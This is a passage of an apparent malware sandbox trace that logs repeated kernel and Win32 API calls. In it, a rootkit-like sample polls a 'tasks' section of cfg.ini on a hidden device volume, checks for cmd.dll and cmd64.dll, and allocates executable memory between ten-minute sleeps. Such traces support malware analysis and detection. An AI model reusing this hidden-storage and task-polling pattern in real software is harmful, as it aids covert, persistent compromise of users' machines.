FastMutex=0xfffffa80027d3898) [0116.680] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.680] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.680] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.680] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0116.680] IdePortDispatch () returned 0x103 [0116.680] KeWaitForMutexObject () returned 0x0 [0116.680] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.680] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.680] KeLeaveCriticalRegion () [0116.680] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.680] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.680] KeEnterCriticalRegion () [0116.680] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.680] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003515000 [0116.680] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.680] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.680] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.680] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0116.680] IdePortDispatch () returned 0x103 [0116.680] KeWaitForMutexObject () returned 0x0 [0116.680] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.680] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.681] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.681] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.681] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0116.681] IdePortDispatch () returned 0x103 [0116.681] KeWaitForMutexObject () returned 0x0 [0116.681] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.681] KeLeaveCriticalRegion () [0116.681] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.682] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.682] KeEnterCriticalRegion () [0116.682] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.682] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.682] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.682] KeLeaveCriticalRegion () [0116.682] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.682] KeEnterCriticalRegion () [0116.682] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.682] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0116.682] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdf6f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0116.682] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.682] KeLeaveCriticalRegion () [0116.682] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.682] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.682] KeEnterCriticalRegion () [0116.682] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.682] ExFreePoolWithTag (P=0xfffffa80039d6730, Tag=0x0) [0116.683] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.683] KeLeaveCriticalRegion () [0116.683] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.683] ReleaseMutex (hMutex=0xf0) returned 1 [0116.683] Sleep (dwMilliseconds=0x927c0) [0116.701] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0116.701] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0116.701] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0116.701] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.701] KeEnterCriticalRegion () [0116.701] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.701] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.701] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.701] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.701] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0116.701] IdePortDispatch () returned 0x103 [0116.701] KeWaitForMutexObject () returned 0x0 [0116.701] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.701] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.701] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.701] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0116.701] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0116.702] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aaecd0 [0116.702] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.702] KeLeaveCriticalRegion () [0116.702] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.702] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.702] KeEnterCriticalRegion () [0116.702] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.702] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.702] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.702] KeLeaveCriticalRegion () [0116.702] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.702] KeEnterCriticalRegion () [0116.702] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.702] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.702] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.702] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.702] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0116.702] IdePortDispatch () returned 0x103 [0116.702] KeWaitForMutexObject () returned 0x0 [0116.702] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.702] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.702] KeLeaveCriticalRegion () [0116.702] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.702] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.702] KeEnterCriticalRegion () [0116.702] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.702] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003521000 [0116.702] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.702] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.702] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.702] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0116.702] IdePortDispatch () returned 0x103 [0116.702] KeWaitForMutexObject () returned 0x0 [0116.703] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.703] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.703] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.703] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.703] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0116.703] IdePortDispatch () returned 0x103 [0116.703] KeWaitForMutexObject () returned 0x0 [0116.703] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.703] KeLeaveCriticalRegion () [0116.703] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.703] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.704] KeEnterCriticalRegion () [0116.704] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.704] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.704] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.704] KeLeaveCriticalRegion () [0116.704] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.704] KeEnterCriticalRegion () [0116.704] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.704] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0116.704] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdfb40, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0116.704] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.704] KeLeaveCriticalRegion () [0116.704] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.704] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.704] KeEnterCriticalRegion () [0116.704] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.704] ExFreePoolWithTag (P=0xfffffa8003aaecd0, Tag=0x0) [0116.704] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.704] KeLeaveCriticalRegion () [0116.704] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.704] ReleaseMutex (hMutex=0xf0) returned 1 [0116.704] Sleep (dwMilliseconds=0x927c0) [0116.783] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0116.783] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0116.783] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0116.783] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.783] KeEnterCriticalRegion () [0116.783] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.783] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.783] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.783] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.783] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0116.783] IdePortDispatch () returned 0x103 [0116.783] KeWaitForMutexObject () returned 0x0 [0116.784] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.784] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.784] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.784] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0116.784] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0116.784] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003963090 [0116.784] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.784] KeLeaveCriticalRegion () [0116.784] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.784] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.784] KeEnterCriticalRegion () [0116.784] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.784] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.784] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.784] KeLeaveCriticalRegion () [0116.784] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.784] KeEnterCriticalRegion () [0116.784] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.784] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.784] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.784] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.784] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0116.784] IdePortDispatch () returned 0x103 [0116.784] KeWaitForMutexObject () returned 0x0 [0116.784] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.784] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.784] KeLeaveCriticalRegion () [0116.785] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.785] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.785] KeEnterCriticalRegion () [0116.785] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.785] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035d7000 [0116.785] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.785] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.785] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.785] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0116.785] IdePortDispatch () returned 0x103 [0116.785] KeWaitForMutexObject () returned 0x0 [0116.785] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.785] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.785] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.785] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.785] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0116.785] IdePortDispatch () returned 0x103 [0116.785] KeWaitForMutexObject () returned 0x0 [0116.785] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.785] KeLeaveCriticalRegion () [0116.785] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.786] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.786] KeEnterCriticalRegion () [0116.786] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.786] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.786] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.786] KeLeaveCriticalRegion () [0116.786] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.786] KeEnterCriticalRegion () [0116.786] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.786] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0116.786] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdfb40, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0116.786] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.786] KeLeaveCriticalRegion () [0116.786] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.786] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.786] KeEnterCriticalRegion () [0116.786] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.786] ExFreePoolWithTag (P=0xfffffa8003963090, Tag=0x0) [0116.786] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.786] KeLeaveCriticalRegion () [0116.786] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.786] ReleaseMutex (hMutex=0xf0) returned 1 [0116.787] Sleep (dwMilliseconds=0x927c0) [0116.802] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0116.802] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0116.802] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0116.802] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.803] KeEnterCriticalRegion () [0116.803] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.803] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.803] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.803] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.803] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0116.803] IdePortDispatch () returned 0x103 [0116.803] KeWaitForMutexObject () returned 0x0 [0116.803] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.803] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.803] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.803] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0116.803] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0116.803] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aae440 [0116.803] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.803] KeLeaveCriticalRegion () [0116.803] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.803] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.803] KeEnterCriticalRegion () [0116.803] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.803] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.803] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.803] KeLeaveCriticalRegion () [0116.803] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.803] KeEnterCriticalRegion () [0116.803] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.803] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.803] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.803] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.803] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0116.803] IdePortDispatch () returned 0x103 [0116.804] KeWaitForMutexObject () returned 0x0 [0116.804] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.804] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.804] KeLeaveCriticalRegion () [0116.804] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.804] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.804] KeEnterCriticalRegion () [0116.804] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.804] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035dc000 [0116.804] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.804] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.804] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.804] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0116.804] IdePortDispatch () returned 0x103 [0116.804] KeWaitForMutexObject () returned 0x0 [0116.804] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.804] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.804] IoAllocateMdl (in: 